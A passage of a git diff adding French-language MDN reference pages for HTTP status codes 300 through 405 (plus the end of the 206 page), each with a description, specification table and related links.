+   <th scope="col">Spécification</th>
+   <th scope="col">Titre</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7233", "206 Partial Content" , "4.1")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Range Requests</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Les données de compatibilité de cette page ont été générées à partir de données structurées. Si vous souhaitez contribuer aux données, vous pouvez <em>forker</em> <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyer une <em>pull request</em>.</p>
+
+<p>{{Compat("http/status", "206")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTTPHeader("If-Range")}}</li>
+ <li>{{HTTPHeader("Range")}}</li>
+ <li>{{HTTPHeader("Content-Range")}}</li>
+ <li>{{HTTPHeader("Content-Type")}}</li>
+</ul>
diff --git a/files/fr/web/http/status/300/index.html b/files/fr/web/http/status/300/index.html
new file mode 100644
index 0000000000..3bdd91ec34
--- /dev/null
+++ b/files/fr/web/http/status/300/index.html
@@ -0,0 +1,45 @@
+---
+title: 300 Multiple Choices
+slug: Web/HTTP/Status/300
+tags:
+  - Code de statut
+  - HTTP
+  - Reference
+translation_of: Web/HTTP/Status/300
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Le code de statut de réponse <code><strong>300 Multiple Choices</strong></code> indique qu'il existe plusieurs réponses possibles pour la requête. L'agent utilisateur ou l'utilisateur doit alors choisir l'une d'elles. Il n'y a pas de méthode standard pour choisir une des réponses disponibles et ce code de réponse est donc rarement utilisé.</p>
+
+<p>Si le serveur à une préférence, il doit générer un en-tête {{HTTPHeader("Location")}}.</p>
+
+<h2 id="Statut">Statut</h2>
+
+<pre class="syntaxbox">300 Multiple Choices</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Consultez <a href="https://www.w3.org/Style/Examples/007/figures.ht">cette page de w3.org à propos des réponses à choix multiples</a>.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Titre</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "300 Multiple Choices" , "6.4.1")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTTPStatus("301")}} <code>Moved Permanently</code></li>
+ <li>{{HTTPStatus("302")}} <code>Found</code>, la redirection temporaire</li>
+ <li>{{HTTPStatus("308")}} <code>Permanent Redirect</code></li>
+</ul>
diff --git a/files/fr/web/http/status/301/index.html b/files/fr/web/http/status/301/index.html
new file mode 100644
index 0000000000..e0350e37e6
--- /dev/null
+++ b/files/fr/web/http/status/301/index.html
@@ -0,0 +1,46 @@
+---
+title: 301 Moved Permanently
+slug: Web/HTTP/Status/301
+tags:
+  - Code de statut
+  - HTTP
+  - Reference
+translation_of: Web/HTTP/Status/301
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Le code de statut de réponse de redirection <code><strong>301</strong></code><strong><code> Moved Permanently</code></strong> indique que la ressource a définitivement été déplacée à l'URL contenue dans l'en-tête  {{HTTPHeader("Location")}}. Un navigateur redirigera vers cette page et les moteurs de recherche mettront à jour leurs liens vers la ressource (en termes de référencement, cela implique que le flux de référencement est envoyé vers la nouvelle URL).</p>
+
+<p>Même si la spécification impose que la méthode et le corps ne soient pas altérés lors d'une redirection, tous les agents utilisateurs ne s'y conforment pas et il est possible de trouver des logiciels bogués sur ce point. Il est donc recommandé d'utiliser le code <code>301</code> uniquement pour répondre à une requête {{HTTPMethod("GET")}} ou {{HTTPMethod("HEAD")}}, et de privilégier le code {{HTTPStatus("308")}} <code>Permanent Redirect</code> pour répondre à {{HTTPMethod("POST")}} puisque le changement de méthode est explicitement interdit avec ce statut.</p>
+
+<h2 id="Statut">Statut</h2>
+
+<pre class="syntaxbox">301 Moved Permanently</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Titre</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "301 Redirect Permanently" , "6.4.2")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("http/status", "301")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTTPStatus("308")}} <code>Permanent Redirect</code></li>
+ <li>{{HTTPStatus("302")}} <code>Found</code>, la redirection temporaire.</li>
+</ul>
diff --git a/files/fr/web/http/status/302/index.html b/files/fr/web/http/status/302/index.html
new file mode 100644
index 0000000000..90b5ade881
--- /dev/null
+++ b/files/fr/web/http/status/302/index.html
@@ -0,0 +1,50 @@
+---
+title: 302 Found
+slug: Web/HTTP/Status/302
+tags:
+  - Code de statut
+  - HTTP
+  - Reference
+  - redirections
+translation_of: Web/HTTP/Status/302
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Le code de statut de réponse de redirection <code><strong>302</strong></code><strong><code> Found</code></strong> indique que la ressource est temporairement déplacée vers l'URL contenue dans l'en-tête {{HTTPHeader("Location")}}. Un navigateur redirige vers cette page, mais les moteurs de recherche ne mettent pas à jour leurs liens vers la ressource (en termes de référencement, cela indique que le flux de référencement n'est pas envoyé vers la nouvelle URL).</p>
+
+<p>Même si la spécification impose que la méthode et le corps ne soient pas altérés lors d'une redirection, tous les agents utilisateurs ne s'y conforment pas et il est toujours possible de trouver des logiciels bogués sur ce point. Il est donc recommandé d'utiliser le code <code>302</code> uniquement comme réponse à une méthode {{HTTPMethod("GET")}} ou {{HTTPMethod("HEAD")}} et d'utiliser le code  {{HTTPStatus("307")}} <code>Temporary Redirect</code> à la place puisque le changement de méthode est explicitement interdit dans ce cas.</p>
+
+<p>Si vous souhaitez que la méthode utilisée soit changée en {{HTTPMethod("GET")}}, vous pouvez utiliser {{HTTPStatus("303")}} <code>See Also</code> à la place. Ceci s'avère utile lorsqu'on souhaite donner une réponse à une méthode {{HTTPMethod("PUT")}} qui n'est pas la ressource téléversée, mais plutôt un message de confirmation (par exemple "Vous avez téléversé avec succès XYZ").</p>
+
+<h2 id="Statut">Statut</h2>
+
+<pre class="syntaxbox">302 Found</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Titre</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "302 Found" , "6.4.3")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("http/status", "302")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTTPStatus("307")}} <code>Temporary Redirect</code>, l'équivalent de ce code de statut, mais qui ne change jamais la méthode utilisée.</li>
+ <li>{{HTTPStatus("303")}} <code>See Also</code>, une redirection temporaire qui change la méthode utilisée par {{HTTPMethod("GET")}}.</li>
+ <li>{{HTTPStatus("301")}} <code>Moved Permanently</code>, la redirection permanente.</li>
+</ul>
diff --git a/files/fr/web/http/status/303/index.html b/files/fr/web/http/status/303/index.html
new file mode 100644
index 0000000000..61eabd5c2c
--- /dev/null
+++ b/files/fr/web/http/status/303/index.html
@@ -0,0 +1,43 @@
+---
+title: 303 See Other
+slug: Web/HTTP/Status/303
+tags:
+  - Code de statut
+  - HTTP
+  - Référence(2)
+translation_of: Web/HTTP/Status/303
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Le code de statut de réponse de redirection <code><strong>303</strong></code><strong><code> See Other</code></strong>, généralement renvoyé comme résultat d'une opération {{HTTPMethod("PUT")}} ou {{HTTPMethod("POST")}}, indique que la redirection ne fait pas le lien vers la ressource nouvellement téléversé mais vers une autre page (par exemple une page de confirmation ou qui affiche l'avancement du téléversement). La méthode utilisée pour afficher la page redirigée est toujours {{HTTPMethod("GET")}}.</p>
+
+<h2 id="Statut">Statut</h2>
+
+<pre class="syntaxbox notranslate">303 See Other</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Titre</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "303 See Other" , "6.4.4")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Les données de compatibilité de cette page ont été générées à partir de données structurées. Si vous souhaitez contribuer aux données, vous pouvez <em>forker</em> <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyer une <em>pull request</em>.</p>
+
+<p>{{Compat("http/status", "303")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTTPStatus("302")}} <code>Found</code>, la redirection temporaire.</li>
+</ul>
diff --git a/files/fr/web/http/status/304/index.html b/files/fr/web/http/status/304/index.html
new file mode 100644
index 0000000000..1d461ca5e2
--- /dev/null
+++ b/files/fr/web/http/status/304/index.html
@@ -0,0 +1,50 @@
+---
+title: 304 Not Modified
+slug: Web/HTTP/Status/304
+tags:
+  - Code de statut
+  - HTTP
+  - Reference
+translation_of: Web/HTTP/Status/304
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Le code de réponse de redirection <code><strong>304</strong></code><strong><code> Not Modified</code></strong> indique qu'il n'y a pas besoin de retransmettre les ressources demandées. C'est une redirection implicite vers une ressource mise en cache. Cela survient lorsque la méthode de requête est <em>{{glossary("safe")}}</em> (par exemple une requête {{HTTPMethod("GET")}} ou {{HTTPMethod("HEAD")}}), ou lorsque la requête est conditionnelle et utilise l'en-tête {{HTTPHeader("If-None-Match")}} ou {{HTTPHeader("If-Modified-Since")}}.</p>
+
+<p>La réponse {{HTTPStatus("200")}} <code>OK</code> équivalente aurait inclus les en-têtes {{HTTPHeader("Cache-Control")}}, {{HTTPHeader("Content-Location")}}, {{HTTPHeader("Date")}}, {{HTTPHeader("ETag")}}, {{HTTPHeader("Expires")}}, et {{HTTPHeader("Vary")}}.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Dans les navigateurs, <a href="/fr/docs/Outils/Moniteur_réseau">les outils de développement réseau</a> créent des requêtes supplémentaires qui conduisent à des réponses <code>304</code>. Ainsi l'accès au cache local est visible par les développeurs .</p>
+</div>
+
+<h2 id="Statut">Statut</h2>
+
+<pre class="syntaxbox">304 Not Modified</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Titre</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7232", "304 Not Modified" , "4.1")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Les données de compatibilité de cette page ont été générées à partir de données structurées. Si vous souhaitez contribuer aux données, vous pouvez <em>forker</em> <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyer une <em>pull request</em>.</p>
+
+<p>{{Compat("http/status", "304")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTTPHeader("If-Modified-Since")}}</li>
+ <li>{{HTTPHeader("If-None-Match")}}</li>
+</ul>
diff --git a/files/fr/web/http/status/307/index.html b/files/fr/web/http/status/307/index.html
new file mode 100644
index 0000000000..2916207c87
--- /dev/null
+++ b/files/fr/web/http/status/307/index.html
@@ -0,0 +1,50 @@
+---
+title: 307 Temporary Redirect
+slug: Web/HTTP/Status/307
+tags:
+  - Code de statut
+  - HTTP
+  - Reference
+translation_of: Web/HTTP/Status/307
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Le code de statut de réponse de redirection <code><strong>307</strong></code><strong><code> Temporary Redirect</code></strong> indique que la ressource est temporairement déplacée vers l'URL contenue dans l'en-tête {{HTTPHeader("Location")}}. Un navigateur redirige vers cette page mais les moteurs de recherche ne mettent pas à jour leurs liens vers la ressource (en termes de référencement, cela indique que le flux de référencement n'est pas envoyé vers la nouvelle URL).</p>
+
+<p>La méthode et le corps de la requête original sont réutilisés pour réaliser la requête redirigée. Si vous souhaitez que la méthode utilisée soit changée {{HTTPMethod("GET")}}, il faut alors utiliser le code  {{HTTPStatus("303")}} <code>See Also</code> à la place. Ceci s'avère utile lorsqu'on souhaite donner une réponse à une méthode {{HTTPMethod("PUT")}} et que cette réponse n'est pas la ressource téléversée mais un message de confirmation (par exemple "Vous avez téléversé avec succès XYZ").</p>
+
+<p>La seule différence entre le code <code>307</code> et le code {{HTTPStatus("302")}} réside dans le fait que le statut <code>307</code> garantit que la méthode et le corps ne seront pas modifiés lorsque la requête redirigée aura lieu. Avec <code>302</code>, quelques anciens clients changent, incorrectement, la méthode vers {{HTTPMethod("GET")}} : ce comportement, avec les méthodes différentes de <code>GET</code> et <code>302</code>, est imprédictible sur le Web. En revanche; celui de <code>307</code> est bien prédictible. Pour la requête <code>GET</code>, leurs comportements respectifs sont identiques.</p>
+
+<h2 id="Statut">Statut</h2>
+
+<pre class="syntaxbox">307 Temporary Redirect
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Titre</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "307 Temporary Redirect" , "6.4.7")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Les données de compatibilité de cette page ont été générées à partir de données structurées. Si vous souhaitez contribuer aux données, vous pouvez <em>forker</em> <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyer une <em>pull request</em>.</p>
+
+<p>{{Compat("http/status", "307")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTTPStatus("302")}} <code>Found</code>, l'équivalent de ce code de statut, mais qui peut modifier la méthode utilisée lorsqu'il ne s'agit pas d'un {{HTTPMethod("GET")}}.</li>
+ <li>{{HTTPStatus("303")}} <code>See Also</code>, une redirection temporaire qui change la méthode utilisée en {{HTTPMethod("GET")}}.</li>
+ <li>{{HTTPStatus("301")}} <code>Moved Permanently</code>, la redirection permanente</li>
+</ul>
diff --git a/files/fr/web/http/status/308/index.html b/files/fr/web/http/status/308/index.html
new file mode 100644
index 0000000000..3212a62a7c
--- /dev/null
+++ b/files/fr/web/http/status/308/index.html
@@ -0,0 +1,50 @@
+---
+title: 308 Permanent Redirect
+slug: Web/HTTP/Status/308
+tags:
+  - Code de statut
+  - HTTP
+  - Reference
+translation_of: Web/HTTP/Status/308
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Le code de statut de réponse de redirection <code><strong>308</strong></code><strong><code> Permanent Redirect</code></strong> indique que la ressource demandée à définitivement été déplacée vers l'URL contenue dans l'en-tête {{HTTPHeader("Location")}}. Un navigateur redirigera vers cette page et les moteurs de recherche mettront à jour leurs liens vers la ressource (en termes de référencement, cela implique que le flux de référencement est envoyé vers la nouvelle URL).</p>
+
+<p>La méthode de requête et son corps ne sont pas modifiés, toutefois {{HTTPStatus("301")}} peut parfois changer la méthode vers {{HTTPHeader("GET")}}.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Certaines applications Web peuvent utiliser <code>308 Permanent Redirect</code> de façon non standard et pour d'autres usages. Par exemple, Google Drive utilise la réponse <code>308 Resume Incomplete</code> pour indiquer au client un chargement incomplet qui est bloqué.<sup><a href="https://developers.google.com/drive/v3/web/manage-uploads#resumable">[1]</a></sup></p>
+</div>
+
+<h2 id="Statut">Statut</h2>
+
+<pre class="syntaxbox">308 Permanent Redirect</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Titre</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7538", "308 Permanent Redirect" , "3")}}</td>
+   <td>The Hypertext Transfer Protocol Status Code 308 (Permanent Redirect)</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Les données de compatibilité de cette page ont été générées à partir de données structurées. Si vous souhaitez contribuer aux données, vous pouvez <em>forker</em> <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyer une <em>pull request</em>.</p>
+
+<p>{{Compat("http/status", "308")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTTPStatus("301")}} <code>Moved Permanently</code></li>
+ <li>{{HTTPStatus("302")}} <code>Found</code>, la redirection temporaire</li>
+</ul>
diff --git a/files/fr/web/http/status/400/index.html b/files/fr/web/http/status/400/index.html
new file mode 100644
index 0000000000..01961cfffc
--- /dev/null
+++ b/files/fr/web/http/status/400/index.html
@@ -0,0 +1,32 @@
+---
+title: 400 Bad Request
+slug: Web/HTTP/Status/400
+tags:
+  - Code de statut
+  - Erreur client
+  - HTTP
+  - Reference
+translation_of: Web/HTTP/Status/400
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Le code de statut de réponse HTTP <code><strong>400</strong></code><strong><code> Bad Request</code></strong> indique que le serveur ne peut pas comprendre la requête en raison d'une syntaxe invalide. Le client ne devrait pas répéter la requête sans modification.</p>
+
+<h2 id="Statut">Statut</h2>
+
+<pre class="syntaxbox">400 Bad Request </pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Titre</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "400 Bad Request" , "6.5.1")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/fr/web/http/status/401/index.html b/files/fr/web/http/status/401/index.html
new file mode 100644
index 0000000000..311f6c0754
--- /dev/null
+++ b/files/fr/web/http/status/401/index.html
@@ -0,0 +1,59 @@
+---
+title: 401 Unauthorized
+slug: Web/HTTP/Status/401
+tags:
+  - Code de statut
+  - Erreur client
+  - HTTP
+  - Reference
+translation_of: Web/HTTP/Status/401
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Le code de statut de réponse HTTP <strong><code>401 Unauthorized</code></strong> indique que la requête n'a pas été effectuée car il manque des informations d'authentification valides pour la ressource visée.</p>
+
+<p>Ce statut est envoyé avec un en-tête {{HTTPHeader("WWW-Authenticate")}} qui décrit la méthode pour s'authentifier correctement.</p>
+
+<p>Ce statut est similaire à {{HTTPStatus("403")}} mais, dans ce cas, une authentification est possible.</p>
+
+<h2 id="Statut">Statut</h2>
+
+<pre class="syntaxbox">401 Unauthorized</pre>
+
+<h2 id="Exemple_de_réponse">Exemple de réponse</h2>
+
+<pre>HTTP/1.1 401 Unauthorized
+Date: Wed, 21 Oct 2015 07:28:00 GMT
+WWW-Authenticate: Basic realm="Access to staging site"</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Titre</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7235", "401 Unauthorized" , "3.1")}}</td>
+   <td>HTTP/1.1: Authentication</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Les données de compatibilité de cette page ont été générées à partir de données structurées. Si vous souhaitez contribuer aux données, vous pouvez <em>forker</em> <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyer une <em>pull request</em>.</p>
+
+<p>{{Compat("http/status", "401")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/HTTP/Authentication">La gestion de l'authentification en HTTP</a></li>
+ <li>{{HTTPHeader("WWW-Authenticate")}}</li>
+ <li>{{HTTPHeader("Authorization")}}</li>
+ <li>{{HTTPHeader("Proxy-Authorization")}}</li>
+ <li>{{HTTPHeader("Proxy-Authenticate")}}</li>
+ <li>{{HTTPStatus("403")}}, {{HTTPStatus("407")}}</li>
+</ul>
diff --git a/files/fr/web/http/status/402/index.html b/files/fr/web/http/status/402/index.html
new file mode 100644
index 0000000000..a7efcdf583
--- /dev/null
+++ b/files/fr/web/http/status/402/index.html
@@ -0,0 +1,49 @@
+---
+title: 402 Payment Required
+slug: Web/HTTP/Status/402
+translation_of: Web/HTTP/Status/402
+---
+<p>{{SeeCompatTable}}</p>
+
+<p>Le code de statut de réponse HTTP <strong style=""><code>402 Payment Required</code></strong> est une erreur non standard <span style="">réservée pour un usage futur.</span></p>
+
+<p><span style="">En général ce code indique que la requete ne peut pas etre traitée avant que le client fasse un paiement. Initialement il a été créé afin de permettre des (micro) paiements numériques et indiquerait que le contenu demandé n'est pas disponible avant que le client ne fasse un paiement. Cependant, aucune convention d'usage commune n'existe et différentes entités l'utilisent dans différents contextes.</span></p>
+
+<h2 id="Statut">Statut</h2>
+
+<pre>402 Payment Required</pre>
+
+<h2 id="Exemple_de_réponse">Exemple de réponse</h2>
+
+<pre>HTTP/1.1 402 Payment Required
+Date: Wed, 21 Oct 2015 07:28:00 GMT
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table>
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Titre</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "402 Payment Required" , "6.5.2")}}</td>
+   <td>HTTP/1.1: Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">
+<p>The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("http.status.402")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/Authentication">HTTP authentication</a></li>
+</ul>
diff --git a/files/fr/web/http/status/403/index.html b/files/fr/web/http/status/403/index.html
new file mode 100644
index 0000000000..c9ea24ec41
--- /dev/null
+++ b/files/fr/web/http/status/403/index.html
@@ -0,0 +1,52 @@
+---
+title: 403 Forbidden
+slug: Web/HTTP/Status/403
+tags:
+  - Code de statut
+  - Erreur client
+  - HTTP
+  - Reference
+translation_of: Web/HTTP/Status/403
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Le code de statut d'erreur de réponse HTTP <strong><code>403 Forbidden</code></strong> indique qu'un serveur comprend la requête mais refuse de l'autoriser.</p>
+
+<p>Ce statut est similaire au statut {{HTTPStatus("401")}}, mais dans ce cas, la ré-authentification ne changera rien. L'accès est définitivement interdit et est lié à la logique de l'application, par exemple manque d'une permission d'accès à une ressource.</p>
+
+<h2 id="Statut">Statut</h2>
+
+<pre class="syntaxbox notranslate">403 Forbidden</pre>
+
+<h2 id="Exemple_de_réponse">Exemple de réponse</h2>
+
+<pre class="notranslate">HTTP/1.1 403 Forbidden
+Date: Wed, 21 Oct 2015 07:28:00 GMT
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Titre</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "403 Forbidden" , "6.5.3")}}</td>
+   <td>HTTP/1.1: Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Les données de compatibilité de cette page ont été générées à partir de données structurées. Si vous souhaitez contribuer aux données, vous pouvez <em>forker</em> <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyer une <em>pull request</em>.</p>
+
+<p>{{Compat("http/status", "403")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTTPStatus("401")}}</li>
+</ul>
diff --git a/files/fr/web/http/status/404/index.html b/files/fr/web/http/status/404/index.html
new file mode 100644
index 0000000000..676ddaef9d
--- /dev/null
+++ b/files/fr/web/http/status/404/index.html
@@ -0,0 +1,61 @@
+---
+title: 404 Not Found
+slug: Web/HTTP/Status/404
+tags:
+  - Code de statut
+  - Erreur client
+  - HTTP
+  - Référence(2)
+translation_of: Web/HTTP/Status/404
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Le code de statut de réponse HTTP <code><strong>404</strong></code><strong><code> Not Found</code></strong> indique qu'un serveur ne peut pas trouver la ressource demandée. Cette réponse est probablement la plus connue du fait de sa fréquence d'apparition sur le Web. Les liens qui entraînent cette erreur sont souvent appelés liens morts ou brisés et conduisent à un <a href="https://fr.wikipedia.org/wiki/Lien_rompu">lien rompu</a>.</p>
+
+<p>Un code de statut 404 n'indique pas si cette absence est temporaire ou permanente. Si le serveur sait que cette condition est permanente, il faudra alors utiliser un code {{HTTPStatus(410)}} (Gone) à la place.</p>
+
+<h2 id="Statut">Statut</h2>
+
+<pre class="syntaxbox">404 Not Found</pre>
+
+<h2 id="Pages_d'erreur_personnalisées">Pages d'erreur personnalisées</h2>
+
+<p>De nombreux sites Web personnalisent le style de la page 404 afin que celle-ci soit plus utile pour l'utilisateur et fournisse une certaine aide. Les serveurs Apache peuvent par exemple être configurés en utilisant un fichier <code>.htaccess</code> contenant un fragment de code tel que celui-ci :</p>
+
+<pre>ErrorDocument 404 /notfound.html</pre>
+
+<p>Vous pouvez aussi vous inspirer de <a href="/fr/404">la page 404 de MDN</a>.</p>
+
+<div class="note">
+<p><strong>Note :</strong> le style des pages 404 est <a href="https://www.google.fr/search?q=awesome+404+pages">une source d'inspiration infinie</a>, mais sachez qu'il existe également un <a href="https://alistapart.com/article/perfect404">ensemble de meilleurs pratiques</a> pour que cette page particulière soit utile pour les utilisateurs.</p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Titre</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "404 Not Found" , "6.5.4")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Les données de compatibilité de cette page ont été générées à partir de données structurées. Si vous souhaitez contribuer aux données, vous pouvez <em>forker</em> <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyer une <em>pull request</em>.</p>
+
+<p>{{Compat("http/status", "404")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTTPStatus(410)}}</li>
+ <li>
+  <p>{{interwiki("wikipedia", "HTTP_404", "Wikipedia: HTTP 404")}}</p>
+ </li>
+</ul>
diff --git a/files/fr/web/http/status/405/index.html b/files/fr/web/http/status/405/index.html
new file mode 100644
index 0000000000..819656237b
--- /dev/null
+++ b/files/fr/web/http/status/405/index.html
@@ -0,0 +1,40 @@
+---
+title: 405 Method Not Allowed
+slug: Web/HTTP/Status/405
+tags:
+  - Code de statut
+  - Erreur client
+  - HTTP
+  - Reference
+translation_of: Web/HTTP/Status/405
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Le code de statut de réponse HTTP <code><strong>405</strong></code><strong><code> Method Not Allowed</code></strong> indique que la méthode utilisée pour la requête est connue du serveur mais qu'elle n'est pas supportée par la ressource ciblée. </p>
+
+<p class="newpage">Le serveur doit générer un champ <strong><code>Allow</code></strong> dans le header en cas de réponse 405, contenant la liste des méthodes supportées par la ressource ciblée.</p>
+
+<h2 id="Statut">Statut</h2>
+
+<pre class="syntaxbox">405 Method Not Allowed</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Titre</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "405 Method Not Allowed" , "6.5.5")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
